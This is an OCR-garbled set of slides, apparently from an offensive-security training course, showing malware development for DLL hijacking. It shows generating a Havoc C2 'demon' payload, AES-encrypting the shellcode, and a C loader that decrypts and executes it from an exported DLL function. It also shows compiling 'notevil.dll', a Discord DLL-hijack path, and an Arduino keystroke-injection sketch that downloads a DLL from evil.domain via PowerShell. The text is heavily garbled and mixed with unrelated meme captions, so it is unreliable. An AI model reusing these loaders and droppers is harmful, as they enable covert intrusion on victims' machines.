https ://g ithub.com/TheD1rkMtr/Shellcode-Hide/ https://www.pavel.gr/blog/dll-hijacking-using-spartacus

https://www.tarlogic.com/es/blog/dificultando-hunting-entorno-restringido/



https://github.com/TheD1rkMtr/Shellcode-Hide/
https://www.tarlogic.com/es/blog/dificultando-hunting-entorno-restringido/
https://www.pavel.gr/blog/dll-hijacking-using-spartacus
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9 Windows Defender Security Center

Virus & threat protection

Unauthorized changes blocked

Controlled Folder Access blocked C:\Program
Fi..\gedit.exe from making changes to the
folder %userprofile%\Documents

10:04a

A

https://github.com/TheD1 rkMtr/Shellcode-Hide/ https://www.pavel.gr/blog/dll-hijacking-using-spartacus
https://www.tarlogic.com/es/blog/dificultando-hunting-entorno-restringido/



https://github.com/TheD1rkMtr/Shellcode-Hide/
https://www.tarlogic.com/es/blog/dificultando-hunting-entorno-restringido/
https://www.pavel.gr/blog/dll-hijacking-using-spartacus
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https://github.com/Accenture/Spartacus
https://qithub.com/ideaslocas/aDLL

9 Windows Defender Security Center

Virus & threat protection

Unauthorized changes blocked

Controlled Folder Access blocked C:\Program
Fi..\gedit.exe from making changes to the
folder %userprofile%\Documents

10:04a

https://github.com/TheD1 rkMtr/Shellcode-Hide/ https://www.pavel.gr/blog/dll-hijacking-using-spartacus
https://www.tarlogic.com/es/blog/dificultando-hunting-entorno-restringido/



https://github.com/TheD1rkMtr/Shellcode-Hide/
https://www.tarlogic.com/es/blog/dificultando-hunting-entorno-restringido/
https://github.com/ideaslocas/aDLL
https://github.com/Accenture/Spartacus
https://www.pavel.gr/blog/dll-hijacking-using-spartacus
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% —(kali )-[~/../Formacion/Material_AD/malware/d11_hjk]
—(kali )-[~/../Formacion/Material_AD/malware/dl1_hjk]
% python3 crp.py demon.bin > payload.sc

—(} :1~/_./Formac10n/Matenal AD/malware/d11_hjk]

et payload.sc

char AESkey[] = { 0x5d, @xdf, ©xa3, 0x83, 0xc3, 0x92, 0x8, 0x58, 0xa2, 0xd7, 0x5, 0x63, 0x58, 0x80, 0x93, 0x27 };
unsigned char AESshellcode[] = { 0x17, @x6c, @xbc, 0x1b, @xc2, @0xfc, 0x69, 0xa4, 0x97, 0x97, 0x8a, 0x21, 0xad, 0xde, 0xb0, 0x89, 0xc7, 0x29, 0x37, O0x4, 0x62, 0x1lb, 0xf5, 0xb3,
0x16, 0x9c, 0x64, 0x1d, @xbb, 0xfl, Oxbc, @x4b, 0x97, @xel, Oxf4, Oxaa, 0xc@, 0xdf, 0x1d, 0x75, @xeb, 0x53, Oxad, 0x2f, 0xa2, 0x94, 0x30, 0x94, 0xc5, Oxab, 0x80, exza exee, 0x
da, 0x43, 0x60, 0x23, 0xc8, O0xdf, 0x93, 0x39, 0x1b, 0x63, 0xc8, 0x23, 0x1b, 0x73, 0x92, 0xd2, 0x7d, 0x80, @xe8, 0x5c, 0xb3, 0xa6, 0xle, 5

, @xe9, 0x83, 0x7, 0x71, @xc6, Oxbd, @xdl, @xc3, 0x3, @xa2, 0xd8, 0xd6, 0x96, 0x69, Ox4b, 0x38, 0xe9, 0x2, Oxbf, 0xcO, 0x83, 0x32, 0x38 Historia en Meme @Historia .- 12min
8, 0x24, 0xdd, 0xbl, 0xb@, 0xef, Oxla, 0x49, 0x86, 0xfb, Oxba, 0x59, Oxee, 0x3a, Oxcd, 0x7a, 0x64, 0x47, Oxcd, 0xaa, 0x33, 0xa9, 0x8f, (ANSSHINNNVINNREE) 7IN[eLT=le]=lo]U/HS )=
0x6b, 0x22, Oxee, 0x37, 0xde, 0xa3, 0xcb, 0x63, 0xa7, 0xe6, @0x6d, 0x27, 0x8a, O0x1, 0x82, 0xaf, Oxd, 0xd8, 0x53, 0x43, 0x59, 0x39, Oxed METEN DENTRO DEL ORDENADOR SIN TU
7, 0xed, 0x86, 0xff, Oxcl, 0x3f, 0x96, 0xdd, 0xa5, Oxae, Oxdf, Oxe, 0xf8, 0x70, 0x6c, 0xb@, 0x9c, 0x78, 0x6, 0x78, 0x22, 0xc9, 0x6e, 0x(

xb5, 0xf6, 0x6b, Oxa, @xe, 0xb3, @x77, 0xd7, 0x6@, 0x36, @xad, Oxe2, 0x31, Oxcl, 0x17, Oxca, 0xf2, 8x61, 0x12, Bx16, 0xa2, oxch, 0x95, (RASASRMISEERCIIEMIILYREIIIICS
0xfa, 0x3c, 0x33, 0xe9, 0x15, Oxe4, 0xc, 0x9e, 0x75, 0x97, 0x50, 0xd, 0x51, 0x8b, Oxad, 0x6a, 0xf2, 0x15, Oxed, 0xb9, Oxal, 0x47, 0x2e, [EM=NCNNCENCIVIFI=V NI\ YENONDIN

0xbl, 0xfd, 0x29, 0x13, 0xc0, 0x38, 0x9f, 0x91, 0x76, 0x63, 0xf9, Ox4d, 0x78, 0x61, 0xb7, 0xef, 0x6b, 0x68, 0x88, 0xb7, 0x8e, 0x5b, OxJMeINzYNRNY=:I\NAROLY\o\b|=el Mol aNe}
xc, 0x3e, 0x64, 0xSe, 0x6f, 0xb, 0x53, 0xf8, 0x92, 0x42, 0xd7, 0x96, 0xdl, 0xb9, 0xdf, Ox4e, 0x49, Ox2e, 0x66, Oxea, Oxab, Oxck, 0x74, (ENNEIGRSRINEEVIPNNERINVIN WG NI e 2
0x1, 0x66, 0xb9, @x7c, Oxa4, 0x71, 0x68, Oxf4, 0x8b, 0xfl, 0x38, 0xf8, Oxad, Oxbc, @x9c, 0x9, 0x72, 0x9f, 0x74, Ox4d, 0xf9, 0xfl, Ox6¢C

2, 0x10, Oxcl, Oxaf, 0xf8, 0xa0, 0x27, 0x1d, Oxal, 0x7f, 0xb6, 0xb5, 0x76, 0xed, Oxe6, 0x90, 0xd8, Oxae, 0x67, Oxdb, 0x5b, 0x9a, 0x59, (MMCEENCMAINCEFAURINIIZIINEIRoROnIcN]
0x95, Oxcl, 0x99, 0xb6, Ox4a, 0x89, 0x2b, 0x6d, 0x3c, 0xc5, 0x95, 0x53, Oxae, Oxcl, 0xc9, Oxfa, 0x70, 0x8e, 0x11, 0xb5, 0x2c, 0xal, ox{Asl[clokdeisloN[clol:FzIire]{[eloR ] \NIJW:
b1, @xb5, @xcf, 0x3d, 0xe7, 0xd, 0x70, 0xd, 0xf, Oxfd, 0x46, 0x63, 0xal, 0xf2, @xab, 0x9a, Ox4c, 0x5a, @xa8, 0xc5, 0x26, 0x50, 0xcO, OxqE=IZNFN

2, 0x43, 0xa7, 0x7, 0x6, 0x90, 0x33, 0x8c, 0xf6, 0x9c, Oxee, Oxb5, Oxaf, 0x3c, Oxec, Oxe4, Oxbe, 0xfl, Oxae, 0x18, 0x73, 0x6b, 0x64, 0x] A
x30, 0x4, 0x19, Oxbc, Oxe3, 0x57, Ox41, 0x68, 0x91, Oxa4, 0x3e, Oxlc, Ox4, 0x9f, Oxec, 0x53, Oxcb, 0x3e, 0x9c, 0x3, 0x29, Oxbf, 0x7, 0x!
X59, 0x58, O0xe2, Oxea, 0x82, 0x62, 0x7f, Oxle, Ox4b, 0x71, 0x8d, @xbb, 0x50, 0x20, Oxle, 0x5, 0xd9, Ox4b, 0x3a, 0xe6, 0x67, 0x8e, Ox47,
, 0xc@, Oxae, 0xa8, 0xd7, Oxdl, 0x54, @xc8, 0x64, 0xa6, 0x1f, 0x61, Oxbd, 0x80, 0x5a, 0x88, Oxee, 0x90, 0x25, Ox4a, 0x48, 0xf2, 0x3, Ox
x17, 0xb9, Oxea, @x6e, 0x84, Oxba, 0xa5, 0x82, Oxfc, Ox4d, 0x78, 0xde, 0x5c, O0xc8, 0xc5, 0x9c, 0xd8, 0xfd, Oxe, Oxba, 0x25, 0x73, 0xbo,
, 0x26, 0x35, @xc7, 0x85, Ox2c, 0x23, Ox4f, @xla, Oxc2, Oxc6, 0x84, 0x79, 0x38, 0x8, Ox1c, 0x18, 0x87, 0xb9, 0x95, @x2b, 0x39, 0xla, 0x4
a, 0xa, 0x7d, 0x6e, 0x2f, @0xc3, 0xd6, 0x7f, 0x90, O0xf3, 0x4, Oxda, Oxa, 0x9b, @0xe9, Oxce, Oxee, 0x12, O0x7a, 0x29, 0x8c, Oxec, O0xbc, Oxdi
5, @xdb, 0xdb, @xa5, 0x88, 0x82, 0x45, 0x73, 0x86, 0x38, Oxla, Oxab, 0x81, Oxbf, Oxbe, 0xd8, 0x54, @x9c, 0x85, @xc4, 0x6c, 0x9d, 0x96,
0x5a, 0x41, 0xf3, Oxel, 0x1f, 0x9c, 0x3f, 0x26, 0x8, 0x5b, Oxd@, 0x89, Oxb4, 0x26, 0x8f, 0x57, Oxda, 0x2, 0x42, 0xc3, 0x16, 0x3a, Oxeb
5, Oxcb, 0x48, 0x1d, 0x18, 0xbd, 0x8f, 0x43, 0x2d, 0x37, Oxdc, 0x70, 0x5d, 0x84, 0xa7, 0x30, 0xe9, Ox4d, Oxc4, 0x68, O0xdb, 0x48, 0x9c,
0x14, 0x49, Oxce, Oxc, 0x69, 0x5a, 0x75, 0xb@, 0xf3, 0xf2, 0x87, 0x97, 0x8e, 0x89, 0x8b, Oxcd, 0x7, 0xc5, 0x7e, 0x5a, Oxb4, 0xda, 0x2a




BLEACH. local :

%
ion/Material_AD/d1l1_test]

HAVOC SHELLCODE

1 Havoc View Attack Scripts Help
= — D Internal User Computer os Process. PID Arch Last EventViewer X
i [*] Started "Escuchdaor1” listener
Agent:  |Demon - [+] Spider connected to teamserver

1 Options

Listener: |Escuchdaorl -
1 Arch x64 i
1 Format [WindowsShelicode i

Config Value
i Sleep 2

Indirect Syscall v
Sleep Technique  WaitForSingleObjectEx

> eition TeamserverChat X | Listeners X
i Alloc Win32 . Name Protocol Host Port Status
c Execute Native/Syscall Escuchdaor Https 10.09.7 443 Online
‘ Spawn64 C:\Windows\System32\notepad.exe
v = €
(i \
t
c
i

Generate
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Y LOS LLAMAN TROYANOS PORQUE SE TE
METEN DENTRO DEL ORDENADOR SIN TU
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DIGO? CERO RIGOR HISTORICO TIENE LA




BLEACH.local : HAVOC SHELLCODE
[:—( )-[~/../malware/Shellcode-Hide/3 - Encrypting/1 - AES]

python3 AES_cryptor.py /home/kali/Documents/Formacion/Material_AD/dl1_test/demon.bin > demon.bin.shel

Lcode.payload]

ion/Material_AD/d1l1_test] I

4 Payload
i
gent: Demon
1 Options
Listener: |Escuchdaor!
i an oA

Format  Windows Shellcode

Config Value
i Sleep 2
Indirect Syscall

Sleep Technique  WaitForSingleObjectEx
~ Injection

i Alloc Win32

< Execute Native/Syscall

‘ Spawn64 C:\Windows\System32\notepad.exe
4 2

(

t

c

i

2

L

Havoc View Attack Scripts Help

D

Internal

Teamserver Chat X

Escuchdaor1

Name

User

Listeners X

Computer

Hitps

0s Process PID Arch Last EventViewer X

[*] Started "Escuchdaor1” listener
[+] Spider connected to teamserver

Protocol Host Port Status
10.09.7 443 Online
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BLEACH.local : HAVOC SHELLCODE

"er g
__declspec(dllexport) HWorld(void)
{
MessageBox(@, "DLL Hijacked!", "DLL Message", )i
d char AESkey[] = { @x9@, 0x14, 0x67, @x7d, 0x20, @x5b, @x83, Oxcb, 0x28, @xle, 0xcO, 0x7, 0x61,
d char payload[] = { 0xd5, @xf5, 0x9b, 0x38, @x5a, Oxe7, 0x3, 0xc8, 0x75, @xc4, Oxf, @x47, Oxee,
payload_length = sizeof(payload);
I
DecryptAES((char*)payload, payload_length, AESkey, sizeof(AESkey));
alloc_mem = VirtualAlloc( , sizeof(payload), | ' )i
if (talloc_mem) {
printf("Failed to Allocate memory (%u)\n", GetLastError());
}
MoveMemory(alloc_mem, payload, sizeof(payload));
oldProtect; I
if (!virtualProtect(alloc_mem, sizeof(payload), , GoldProtect)) {
printf("Failed to change memory protection (%u)\n", GetlLastError());
-2;
I
tHandle = CreateThread( , 0, ( )alloc_mem, , 0, )i
if (!tHandle) {
printf("Failed to Create the thread (%u)\n", GetlLastError());
}
printf("\n\nalloc_mem : %p\n", alloc_mem);
WaitForSingleObject(tHandle, )i
getchar();
((void(*)())alloc_mem)();
o; I
I
true;
}
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BLEACH.local : MALWARE DEV. OUR DLL

L—( )-[~/Documents/Formacion/Material_AD/dl1_test]
x86_64-w64-mingw32-g++ -shared crypt_loader.cpp -o notevil.dll -fpermissive
crypt_loader.cpp: In function ‘BOOL HWorld()’:

crypt_loader.cpp:75:60: invalid conversion from ‘unsigned charx’ to ‘char*’ [ ]
754 DecryptAES((charx)payload, payload_length, , sizeof(AESkey));
|
|
|
crypt_loader.cpp:14:60: note: initializing argument 3 of ‘void DecryptAES(char*, DWORD, charx, DWORD)'’
14 | void DecryptAES(charx shellcode, DWORD shellcodelLen, char# key, DWORD keylLen) {

| .

T )-[~/../Formacion/Material_AD/malware/dl1_hjk]
5 file evil.dll
evil.dll: PE32+ executable (DLL) (console) x86-64, for MS Windows, 20 sections

3 ‘,]I [~/../Formacion/Material_AD/malware/dl1_hjk]

https://qithub.com/GetRektBoy724/SyscallShuffler
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https://github.com/GetRektBoy724/SyscallShuffler

)

BLEACH.local : MALWARE DEV. OUR DLL

EmP Y ¥ )

¥ Windoleial0 AD (Coriendo] - Oracke VM Virtual

e-WebRequest

dkali: fopt/Havoc/Client X

Arch Lost Event Viewer X
x64 290475
Started tener
crt-time-11-1 e &3
4
piles

]
fimpeg.a
icudtl dat
bEGL.& Host port Status
libGLESw2.di

443 Online
LICENSE

P10l

movcp 140,
resources.pak
snapshot_blob bin

SquirrelLexe

x 00M 0 ‘. Discolocal (C.
S 04 ThirdPartyNotice.tx

I ricio 125M8 onexion (\PRINC uctbase.dl

VBo: spshotiin
© Wicrosoft M Protection 04Me pihot b
vecorlib140.d1

ssoft Network Resitime Inac” 15M8

«

veomp140.dil
6oms veruntime 0.4l
ame veruntime140_1. a8
vi_swiftshades.dl
a14m8 vi_swiftshader_icdjson

ME vukan-1.dll

' =N
-

Mencs detalles Finalizar tares

Windows 10 Enterprise Evalustion




COMMON DISCORD DLL HIJACKING
%LOCALAPPDATA%\Discord\app-1.0.9012\vfiwwdm32.dll

#include <Keyboard.h>

void setup() {
Keyboard.begin();
delay(2000);
Keyboard.press(KEY_LEFT_GUI);
delay(100);
Keyboard.press('r');
delay(100);
Keyboard.releaseAll();

*joins discord* delay(500);

*The server goes silent* Keyboard.print("powershell Invoke-WebRequest
https://evil.domain/dllpath/dscrd.dll.txt -OutFile

%LOCALAPPDATA%\\Discord\\app-1.0.9012\\vfwwdm32.d11");
delay(100);
Keyboard.press(KEY_RETURN) ;
delay(100);
Keyboard.print("exit");
delay(100);
Keyboard.press(KEY_RETURN) ;
delay(100);
Keyboard.releaseAll();
}

, | can feel it

void loop() {

TEUNNY.CO }
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